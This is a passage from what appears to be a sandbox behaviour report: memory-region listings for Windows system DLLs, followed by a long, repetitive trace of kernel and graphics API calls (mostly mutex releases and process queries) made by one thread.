"\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 10289 start_va = 0x7ffd1c870000 end_va = 0x7ffd1c895fff entry_point = 0x7ffd1c875b68 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 10290 start_va = 0xe358f40000 end_va = 0xe359045fff entry_point = 0x0 region_type = private name = "private_0x000000e358f40000" filename = "" Thread: id = 891 os_tid = 0xaf8 [0150.592] EngAllocMem () returned 0xfffff90142521030 [0150.592] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.592] MmMapViewOfSection (in: SectionObject=0xffffc0000205a570, Process=0xffffe00001078440, BaseAddress=0xfffff90142521358*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd00020b0eed0, ViewSize=0xfffff90142521370, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: BaseAddress=0xfffff90142521358*=0xe355a80000, SectionOffset=0xffffd00020b0eed0, ViewSize=0xfffff90142521370) returned 0x0 [0150.592] EngCreateBitmap () returned 0x5e050627 [0150.592] EngAssociateSurface () returned 0x1 [0150.592] EngLockSurface () returned 0xfffff901400f5bc8 [0150.592] ExAllocatePoolWithTag (PoolType=0x200, NumberOfBytes=0x38, Tag=0x64646344) returned 0xffffe00001306680 [0150.592] KeInitializeEvent (in: Event=0xffffe00001306698, Type=0x1, State=0 | out: Event=0xffffe00001306698) [0150.592] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.599] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.599] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.599] KeSetEvent (in: Event=0xffffe000000fcaf0, Increment=0x0, Wait=0 | out: Event=0xffffe000000fcaf0) returned 0 [0150.615] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.615] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.615] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.627] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.627] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.627] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.628] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.628] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.628] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.628] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.628] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.628] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.628] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.628] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.629] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.629] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.629] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.629] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.629] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.629] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.629] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.629] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.629] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.629] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.630] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.630] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.630] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.630] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.630] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.630] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.630] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.631] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.631] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.631] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.640] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.640] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.640] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.640] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.640] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.640] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.640] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.640] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.640] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.640] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.640] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.641] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.641] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.641] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.641] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.641] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.641] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.641] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.641] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.641] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.641] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.641] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.641] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.641] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.641] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.641] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.641] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.641] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.642] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.642] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.642] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.642] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.642] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.642] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.642] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.642] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.642] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.642] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.642] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.642] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.643] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.643] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.643] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.643] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.643] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.643] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.644] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.644] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.644] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.644] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.644] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.644] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.645] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.645] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.645] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.645] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.645] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.645] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.645] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.645] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.645] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.645] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.645] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.645] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.645] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.645] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.645] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.645] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.645] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.646] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.646] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.646] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.646] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.646] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.646] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.646] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.646] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.646] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.646] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.654] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.654] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.654] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.654] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.654] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.654] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.654] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.654] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.654] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.654] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.654] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.654] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.654] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.654] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.654] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.655] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.655] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.655] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.655] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.655] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.655] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.655] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.655] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.655] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.655] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.655] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.655] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.655] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.655] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.655] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.655] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.655] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.656] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.656] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.656] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.656] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.656] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.656] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.656] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.657] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.657] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.657] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.657] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.657] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.657] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.660] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.660] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.660] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.661] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.661] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.661] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.661] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.661] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.661] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.690] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.690] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.690] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.690] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.690] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.690] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.690] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.691] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.691] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.691] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.691] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.699] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.699] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.699] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.699] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.699] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.717] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.717] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.717] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.774] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.774] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.774] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.774] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.774] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.774] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.851] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.851] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.851] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.851] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.851] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.851] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.915] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.915] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.915] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.915] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.915] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.915] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.942] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.942] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.942] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.942] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.942] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.942] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.942] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.942] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.942] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.942] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.942] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.942] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.943] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.943] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.943] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.943] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.943] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.943] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.943] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.943] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.943] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0150.943] IoGetCurrentProcess () returned 0xffffe00001078440 [0150.943] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0150.943] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.004] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.004] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.004] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.004] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.004] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.004] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.004] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.004] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe00001306680) [0151.004] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0151.005] EngAllocMem () returned 0xfffff9014251f030 [0151.005] IoGetCurrentProcess () returned 0xffffe00001078440 [0151.005] MmMapViewOfSection (in: SectionObject=0xffffc00002068570, Process=0xffffe00001078440, BaseAddress=0xfffff9014251f358*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0xffffd00020b0eed0, ViewSize=0xfffff9014251f370, InheritDisposition=0xfffff90100000001, AllocationType=0x0, Protect=0x4 | out: 